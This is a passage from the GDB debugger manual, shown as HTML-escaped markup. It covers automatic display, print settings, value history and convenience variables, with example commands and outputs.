&lt;p&gt;The addresses and contents printed by the &lt;code&gt;x&lt;&#x2F;code&gt; command are not saved in the value history because there is often too much of them and they would get in the way.  Instead, GDB makes these values available for subsequent use in expressions as values of the convenience variables&lt;code&gt;$_&lt;&#x2F;code&gt; and &lt;code&gt;$__&lt;&#x2F;code&gt;.  After an &lt;code&gt;x&lt;&#x2F;code&gt; command, the last address examined is available for use in expressions in the convenience variable&lt;code&gt;$_&lt;&#x2F;code&gt;.  The contents of that address, as examined, are available in the convenience variable &lt;code&gt;$__&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If the &lt;code&gt;x&lt;&#x2F;code&gt; command has a repeat count, the address and contents saved are from the last memory unit printed; this is not the same as the last address printed if several units were printed on the last line of output.&lt;&#x2F;p&gt;
&lt;p&gt;When you are debugging a program running on a remote target machine (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_17.html#SEC154&quot;&gt;Remote debugging&lt;&#x2F;a&gt;), you may wish to verify the program&#x27;s image in the remote machine&#x27;s memory against the executable file you downloaded to the target.  The &lt;code&gt;compare-sections&lt;&#x2F;code&gt; command is provided for such situations.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;compare-sections [section-name]&lt;&#x2F;code&gt;Compare the data of a loadable section section-name in the executable file of the program being debugged with the same section in the remote machine&#x27;s memory, and report any mismatches.  With no arguments, compares all loadable sections.  This command&#x27;s availability depends on the target&#x27;s support for the &lt;code&gt;&quot;qCRC&quot;&lt;&#x2F;code&gt;remote request.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;automatic-display&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC62&quot;&gt;Automatic display&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If you find that you want to print the value of an expression frequently (to see how it changes), you might want to add it to the &lt;strong&gt;automatic display list&lt;&#x2F;strong&gt; so that GDB prints its value each time your program stops. Each expression added to the list is given a number to identify it; to remove an expression from the list, you specify that number. The automatic display looks like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;2: foo = 38
3: bar[5] = (struct hack *) 0x3804
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This display shows item numbers, expressions and their current values.  As with displays you request manually using &lt;code&gt;x&lt;&#x2F;code&gt; or &lt;code&gt;print&lt;&#x2F;code&gt;, you can specify the output format you prefer; in fact, &lt;code&gt;display&lt;&#x2F;code&gt; decides whether to use &lt;code&gt;print&lt;&#x2F;code&gt; or &lt;code&gt;x&lt;&#x2F;code&gt; depending on how elaborate your format specification is--it uses &lt;code&gt;x&lt;&#x2F;code&gt; if you specify a unit size, or one of the two formats (`i&#x27; and `s&#x27;) that are only supported by &lt;code&gt;x&lt;&#x2F;code&gt;; otherwise it uses &lt;code&gt;print&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;display expr&lt;&#x2F;code&gt;Add the expression expr to the list of expressions to display each time your program stops.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC57&quot;&gt;Expressions&lt;&#x2F;a&gt;.&lt;code&gt;display&lt;&#x2F;code&gt; does not repeat if you press &lt;kbd&gt;RET&lt;&#x2F;kbd&gt; again after using it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;display&#x2F;fmt expr&lt;&#x2F;code&gt;For fmt specifying only a display format and not a size or count, add the expression expr to the auto-display list but arrange to display it each time in the specified format fmt. See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC60&quot;&gt;Output formats&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;display&#x2F;fmt addr&lt;&#x2F;code&gt;For fmt`i&#x27; or `s&#x27;, or including a unit-size or a number of units, add the expression addr as a memory address to be examined each time your program stops.  Examining means in effect doing `x&#x2F;fmtaddr&#x27;.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC61&quot;&gt;Examining memory&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For example, `display&#x2F;i $pc&#x27; can be helpful, to see the machine instruction about to be executed each time execution stops (`$pc&#x27;is a common name for the program counter; see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC66&quot;&gt;Registers&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;undisplay dnums...``delete display dnums...&lt;&#x2F;code&gt;Remove item numbers dnums from the list of expressions to display.&lt;code&gt;undisplay&lt;&#x2F;code&gt; does not repeat if you press &lt;kbd&gt;RET&lt;&#x2F;kbd&gt; after using it. (Otherwise you would just get the error `No display number ...&#x27;.)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;disable display dnums...&lt;&#x2F;code&gt;Disable the display of item numbers dnums.  A disabled display item is not printed automatically, but is not forgotten.  It may be enabled again later.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;enable display dnums...&lt;&#x2F;code&gt;Enable display of item numbers dnums.  It becomes effective once again in auto display of its expression, until you specify otherwise.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;display&lt;&#x2F;code&gt;Display the current values of the expressions on the list, just as is done when your program stops.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info display&lt;&#x2F;code&gt;Print the list of expressions previously set up to display automatically, each one with its item number, but without showing the values.  This includes disabled expressions, which are marked as such. It also includes expressions which would not be displayed right now because they refer to automatic variables not currently available.&lt;&#x2F;p&gt;
&lt;p&gt;If a display expression refers to local variables, then it does not make sense outside the lexical context for which it was set up.  Such an expression is disabled when execution enters a context where one of its variables is not defined.  For example, if you give the command&lt;code&gt;display last_char&lt;&#x2F;code&gt; while inside a function with an argument&lt;code&gt;last_char&lt;&#x2F;code&gt;, GDB displays this argument while your program continues to stop inside that function.  When it stops elsewhere--where there is no variable &lt;code&gt;last_char&lt;&#x2F;code&gt;---the display is disabled automatically.  The next time your program stops where &lt;code&gt;last_char&lt;&#x2F;code&gt;is meaningful, you can enable the display expression once again.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;print-settings&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC63&quot;&gt;Print settings&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;GDB provides the following ways to control how arrays, structures, and symbols are printed.&lt;&#x2F;p&gt;
&lt;p&gt;These settings are useful for debugging programs in any language:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print address``set print address on&lt;&#x2F;code&gt;GDB prints memory addresses showing the location of stack traces, structure values, pointer values, breakpoints, and so forth, even when it also displays the contents of those addresses.  The default is &lt;code&gt;on&lt;&#x2F;code&gt;.  For example, this is what a stack frame display looks like with&lt;code&gt;set print address on&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) f
#0  set_quotes (lq=0x34c78 &amp;quot;&amp;lt;&amp;lt;&amp;quot;, rq=0x34c88 &amp;quot;&amp;gt;&amp;gt;&amp;quot;)
    at input.c:530
530         if (lquote != def_lquote)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;set print address off&lt;&#x2F;code&gt;Do not print addresses when displaying their contents.  For example, this is the same stack frame displayed with &lt;code&gt;set print address off&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set print addr off
(gdb) f
#0  set_quotes (lq=&amp;quot;&amp;lt;&amp;lt;&amp;quot;, rq=&amp;quot;&amp;gt;&amp;gt;&amp;quot;) at input.c:530
530         if (lquote != def_lquote)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can use `set print address off&#x27; to eliminate all machine dependent displays from the GDB interface.  For example, with&lt;code&gt;print address off&lt;&#x2F;code&gt;, you should get the same text for backtraces on all machines--whether or not they involve pointer arguments.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print address&lt;&#x2F;code&gt;Show whether or not addresses are to be printed.&lt;&#x2F;p&gt;
&lt;p&gt;When GDB prints a symbolic address, it normally prints the closest earlier symbol plus an offset.  If that symbol does not uniquely identify the address (for example, it is a name whose scope is a single source file), you may need to clarify.  One way to do this is with&lt;code&gt;info line&lt;&#x2F;code&gt;, for example `info line *0x4537&#x27;.  Alternately, you can set GDB to print the source file and line number when it prints a symbolic address:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print symbol-filename on&lt;&#x2F;code&gt;Tell GDB to print the source file name and line number of a symbol in the symbolic form of an address.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print symbol-filename off&lt;&#x2F;code&gt;Do not print source file name and line number of a symbol.  This is the default.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print symbol-filename&lt;&#x2F;code&gt;Show whether or not GDB will print the source file name and line number of a symbol in the symbolic form of an address.&lt;&#x2F;p&gt;
&lt;p&gt;Another situation where it is helpful to show symbol filenames and line numbers is when disassembling code; GDB shows you the line number and source file that corresponds to each instruction.&lt;&#x2F;p&gt;
&lt;p&gt;Also, you may wish to see the symbolic form only if the address being printed is reasonably close to the closest earlier symbol:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print max-symbolic-offset max-offset&lt;&#x2F;code&gt;Tell GDB to only display the symbolic form of an address if the offset between the closest earlier symbol and the address is less thanmax-offset.  The default is 0, which tells GDB to always print the symbolic form of an address if any symbol precedes it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print max-symbolic-offset&lt;&#x2F;code&gt;Ask how large the maximum offset is that GDB prints in a symbolic address.&lt;&#x2F;p&gt;
&lt;p&gt;If you have a pointer and you are not sure where it points, try`set print symbol-filename on&#x27;.  Then you can determine the name and source file location of the variable where it points, using`p&#x2F;a pointer&#x27;.  This interprets the address in symbolic form. For example, here GDB shows that a variable &lt;code&gt;ptt&lt;&#x2F;code&gt; points at another variable &lt;code&gt;t&lt;&#x2F;code&gt;, defined in `hi2.c&#x27;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set print symbol-filename on
(gdb) p&amp;#x2F;a ptt
$4 = 0xe008 &amp;lt;t in hi2.c&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Warning:&lt;&#x2F;em&gt;  For pointers that point to a local variable, `p&#x2F;a&#x27;does not show the symbol name and filename of the referent, even with the appropriate &lt;code&gt;set print&lt;&#x2F;code&gt; options turned on.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Other settings control how different kinds of objects are printed:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print array``set print array on&lt;&#x2F;code&gt;Pretty print arrays.  This format is more convenient to read, but uses more space.  The default is off.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print array off&lt;&#x2F;code&gt;Return to compressed format for arrays.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print array&lt;&#x2F;code&gt;Show whether compressed or pretty format is selected for displaying arrays.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print elements number-of-elements&lt;&#x2F;code&gt;Set a limit on how many elements of an array GDB will print. If GDB is printing a large array, it stops printing after it has printed the number of elements set by the &lt;code&gt;set print elements&lt;&#x2F;code&gt; command. This limit also applies to the display of strings. When GDB starts, this limit is set to 200. Setting  number-of-elements to zero means that the printing is unlimited.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print elements&lt;&#x2F;code&gt;Display the number of elements of a large array that GDB will print. If the number is 0, then the printing is unlimited.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print repeats&lt;&#x2F;code&gt;Set the threshold for suppressing display of repeated array elelments.  When the number of consecutive identical elements of an array exceeds the threshold, GDB prints the string&lt;code&gt;&amp;amp;#34;&amp;amp;lt;repeats n times&amp;amp;gt;&amp;amp;#34;&lt;&#x2F;code&gt;, where n is the number of identical repetitions, instead of displaying the identical elements themselves.  Setting the threshold to zero will cause all elements to be individually printed.  The default threshold is 10.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print repeats&lt;&#x2F;code&gt;Display the current threshold for printing repeated identical elements.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print null-stop&lt;&#x2F;code&gt;Cause GDB to stop printing the characters of an array when the first NULL is encountered.  This is useful when large arrays actually contain only short strings. The default is off.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print null-stop&lt;&#x2F;code&gt;Show whether GDB stops printing an array on the first NULL character.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print pretty on&lt;&#x2F;code&gt;Cause GDB to print structures in an indented format with one member per line, like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$1 = {
  next = 0x0,
  flags = {
    sweet = 1,
    sour = 1
  },
  meat = 0x54 &amp;quot;Pork&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;set print pretty off&lt;&#x2F;code&gt;Cause GDB to print structures in a compact format, like this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$1 = {next = 0x0, flags = {sweet = 1, sour = 1}, \
meat = 0x54 &amp;quot;Pork&amp;quot;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is the default format.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print pretty&lt;&#x2F;code&gt;Show which format GDB is using to print structures.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print sevenbit-strings on&lt;&#x2F;code&gt;Print using only seven-bit characters; if this option is set, GDB displays any eight-bit characters (in strings or character values) using the notation &lt;code&gt;\&lt;&#x2F;code&gt;nnn.  This setting is best if you are working in English (ASCII) and you use the high-order bit of characters as a marker or &quot;meta&quot; bit.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print sevenbit-strings off&lt;&#x2F;code&gt;Print full eight-bit characters.  This allows the use of more international character sets, and is the default.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print sevenbit-strings&lt;&#x2F;code&gt;Show whether or not GDB is printing only seven-bit characters.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print union on&lt;&#x2F;code&gt;Tell GDB to print unions which are contained in structures and other unions.  This is the default setting.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print union off&lt;&#x2F;code&gt;Tell GDB not to print unions which are contained in structures and other unions.  GDB will print &lt;code&gt;&quot;{...}&quot;&lt;&#x2F;code&gt;instead.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print union&lt;&#x2F;code&gt;Ask GDB whether or not it will print unions which are contained in structures and other unions.  For example, given the declarations&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;typedef enum {Tree, Bug} Species;
typedef enum {Big_tree, Acorn, Seedling} Tree_forms;
typedef enum {Caterpillar, Cocoon, Butterfly}
              Bug_forms;

struct thing {
  Species it;
  union {
    Tree_forms tree;
    Bug_forms bug;
  } form;
};

struct thing foo = {Tree, {Acorn}};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;with &lt;code&gt;set print union on&lt;&#x2F;code&gt; in effect `p foo&#x27; would print&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$1 = {it = Tree, form = {tree = Acorn, bug = Cocoon}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and with &lt;code&gt;set print union off&lt;&#x2F;code&gt; in effect it would print&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$1 = {it = Tree, form = {...}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;set print union&lt;&#x2F;code&gt; affects programs written in C-like languages and in Pascal.&lt;&#x2F;p&gt;
&lt;p&gt;These settings are of interest when debugging C++ programs:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print demangle``set print demangle on&lt;&#x2F;code&gt;Print C++ names in their source form rather than in the encoded (&quot;mangled&quot;) form passed to the assembler and linker for type-safe linkage.  The default is on.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print demangle&lt;&#x2F;code&gt;Show whether C++ names are printed in mangled or demangled form.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print asm-demangle``set print asm-demangle on&lt;&#x2F;code&gt;Print C++ names in their source form rather than their mangled form, even in assembler code printouts such as instruction disassemblies. The default is off.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print asm-demangle&lt;&#x2F;code&gt;Show whether C++ names in assembly listings are printed in mangled or demangled form.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set demangle-style style&lt;&#x2F;code&gt;Choose among several encoding schemes used by different compilers to represent C++ names.  The choices for style are currently:&lt;code&gt;auto&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Allow GDB to choose a decoding style by inspecting your program.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;gnu&lt;&#x2F;code&gt;Decode based on the GNU C++ compiler (&lt;code&gt;g++&lt;&#x2F;code&gt;) encoding algorithm. This is the default.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;hp&lt;&#x2F;code&gt;Decode based on the HP ANSI C++ (&lt;code&gt;aCC&lt;&#x2F;code&gt;) encoding algorithm.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;lucid&lt;&#x2F;code&gt;Decode based on the Lucid C++ compiler (&lt;code&gt;lcc&lt;&#x2F;code&gt;) encoding algorithm.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;arm&lt;&#x2F;code&gt;Decode using the algorithm in the C++ Annotated Reference Manual.&lt;strong&gt;Warning:&lt;&#x2F;strong&gt;  this setting alone is not sufficient to allow debugging &lt;code&gt;cfront&lt;&#x2F;code&gt;-generated executables.  GDB would require further enhancement to permit that.&lt;&#x2F;p&gt;
&lt;p&gt;If you omit style, you will see a list of possible formats.&lt;code&gt;show demangle-style&lt;&#x2F;code&gt;Display the encoding style currently in use for decoding C++ symbols.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print object``set print object on&lt;&#x2F;code&gt;When displaying a pointer to an object, identify the &lt;em&gt;actual&lt;&#x2F;em&gt;(derived) type of the object rather than the &lt;em&gt;declared&lt;&#x2F;em&gt; type, using the virtual function table.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print object off&lt;&#x2F;code&gt;Display only the declared type of objects, without reference to the virtual function table.  This is the default setting.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print object&lt;&#x2F;code&gt;Show whether actual, or declared, object types are displayed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print static-members``set print static-members on&lt;&#x2F;code&gt;Print static members when displaying a C++ object.  The default is on.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print static-members off&lt;&#x2F;code&gt;Do not print static members when displaying a C++ object.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print static-members&lt;&#x2F;code&gt;Show whether C++ static members are printed or not.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print pascal_static-members``set print pascal_static-members on&lt;&#x2F;code&gt;Print static members when displaying a Pascal object.  The default is on.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print pascal_static-members off&lt;&#x2F;code&gt;Do not print static members when displaying a Pascal object.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print pascal_static-members&lt;&#x2F;code&gt;Show whether Pascal static members are printed or not.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print vtbl``set print vtbl on&lt;&#x2F;code&gt;Pretty print C++ virtual function tables.  The default is off. (The &lt;code&gt;vtbl&lt;&#x2F;code&gt; commands do not work on programs compiled with the HP ANSI C++ compiler (&lt;code&gt;aCC&lt;&#x2F;code&gt;).)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set print vtbl off&lt;&#x2F;code&gt;Do not pretty print C++ virtual function tables.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show print vtbl&lt;&#x2F;code&gt;Show whether C++ virtual function tables are pretty printed, or not.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;value-history&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC64&quot;&gt;Value history&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Values printed by the &lt;code&gt;print&lt;&#x2F;code&gt; command are saved in the GDB&lt;strong&gt;value history&lt;&#x2F;strong&gt;.  This allows you to refer to them in other expressions. Values are kept until the symbol table is re-read or discarded (for example with the &lt;code&gt;file&lt;&#x2F;code&gt; or &lt;code&gt;symbol-file&lt;&#x2F;code&gt; commands). When the symbol table changes, the value history is discarded, since the values may contain pointers back to the types defined in the symbol table.&lt;&#x2F;p&gt;
&lt;p&gt;The values printed are given &lt;strong&gt;history numbers&lt;&#x2F;strong&gt; by which you can refer to them.  These are successive integers starting with one.&lt;code&gt;print&lt;&#x2F;code&gt; shows you the history number assigned to a value by printing `$num = &#x27; before the value; here num is the history number.&lt;&#x2F;p&gt;
&lt;p&gt;To refer to any previous value, use `$&#x27; followed by the value&#x27;s history number.  The way &lt;code&gt;print&lt;&#x2F;code&gt; labels its output is designed to remind you of this.  Just &lt;code&gt;$&lt;&#x2F;code&gt; refers to the most recent value in the history, and &lt;code&gt;$$&lt;&#x2F;code&gt; refers to the value before that.&lt;code&gt;$$&amp;lt;var&amp;gt;n&amp;lt;&#x2F;var&amp;gt;&lt;&#x2F;code&gt; refers to the nth value from the end; &lt;code&gt;$$2&lt;&#x2F;code&gt;is the value just prior to &lt;code&gt;$$&lt;&#x2F;code&gt;, &lt;code&gt;$$1&lt;&#x2F;code&gt; is equivalent to&lt;code&gt;$$&lt;&#x2F;code&gt;, and &lt;code&gt;$$0&lt;&#x2F;code&gt; is equivalent to &lt;code&gt;$&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For example, suppose you have just printed a pointer to a structure and want to see the contents of the structure.  It suffices to type&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;p *$
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If you have a chain of structures where the component &lt;code&gt;next&lt;&#x2F;code&gt; points to the next one, you can print the contents of the next one with this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;p *$.next
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can print successive links in the chain by repeating this command--which you can do by just typing &lt;kbd&gt;RET&lt;&#x2F;kbd&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Note that the history records values, not expressions.  If the value of&lt;code&gt;x&lt;&#x2F;code&gt; is 4 and you type these commands:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;print x
set x=5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;then the value recorded in the value history by the &lt;code&gt;print&lt;&#x2F;code&gt; command remains 4 even though the value of &lt;code&gt;x&lt;&#x2F;code&gt; has changed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show values&lt;&#x2F;code&gt;Print the last ten values in the value history, with their item numbers. This is like `p $$9&#x27; repeated ten times, except that &lt;code&gt;show values&lt;&#x2F;code&gt; does not change the history.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show values n&lt;&#x2F;code&gt;Print ten history values centered on history item number n.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show values +&lt;&#x2F;code&gt;Print ten history values just after the values last printed.  If no more values are available, &lt;code&gt;show values +&lt;&#x2F;code&gt; produces no display.&lt;&#x2F;p&gt;
&lt;p&gt;Pressing &lt;kbd&gt;RET&lt;&#x2F;kbd&gt; to repeat &lt;code&gt;show values n&lt;&#x2F;code&gt; has exactly the same effect as `show values +&#x27;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;convenience-variables&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC65&quot;&gt;Convenience variables&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;GDB provides &lt;strong&gt;convenience variables&lt;&#x2F;strong&gt; that you can use within GDB to hold on to a value and refer to it later.  These variables exist entirely within GDB; they are not part of your program, and setting a convenience variable has no direct effect on further execution of your program.  That is why you can use them freely.&lt;&#x2F;p&gt;
&lt;p&gt;Convenience variables are prefixed with `$&#x27;.  Any name preceded by`$&#x27; can be used for a convenience variable, unless it is one of the predefined machine-specific register names (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC66&quot;&gt;Registers&lt;&#x2F;a&gt;). (Value history references, in contrast, are &lt;em&gt;numbers&lt;&#x2F;em&gt; preceded by `$&#x27;.  See section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_9.html#SEC64&quot;&gt;Value history&lt;&#x2F;a&gt;.)&lt;&#x2F;p&gt;
&lt;p&gt;You can save a value in a convenience variable with an assignment expression, just as you would set a variable in your program. For example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set $foo = *object_ptr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;would save in &lt;code&gt;$foo&lt;&#x2F;code&gt; the value contained in the object pointed to by&lt;code&gt;object_ptr&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Using a convenience variable for the first time creates it, but its value is &lt;code&gt;void&lt;&#x2F;code&gt; until you assign a new value.  You can alter the value with another assignment at any time.&lt;&#x2F;p&gt;
&lt;p&gt;Convenience variables have no fixed types.  You can assign a convenience variable any type of value, including structures and arrays, even if that variable already has a value of a different type.  The convenience variable, when used as an expression, has the type of its current value.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show convenience&lt;&#x2F;code&gt;Print a list of convenience variables used so far, and their values. Abbreviated &lt;code&gt;show conv&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;One of the ways to use a convenience variable is as a counter to be incremented or a pointer to be advanced.  For example, to print a field from successive elements of an array of structures:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;set $i = 0
print bar[$i++]-&amp;gt;contents
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Repeat that command by typing &lt;kbd&gt;RET&lt;&#x2F;kbd&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Some convenience variables are created automatically by GDB and given values likely to be useful.&lt;&#x2F;p&gt;
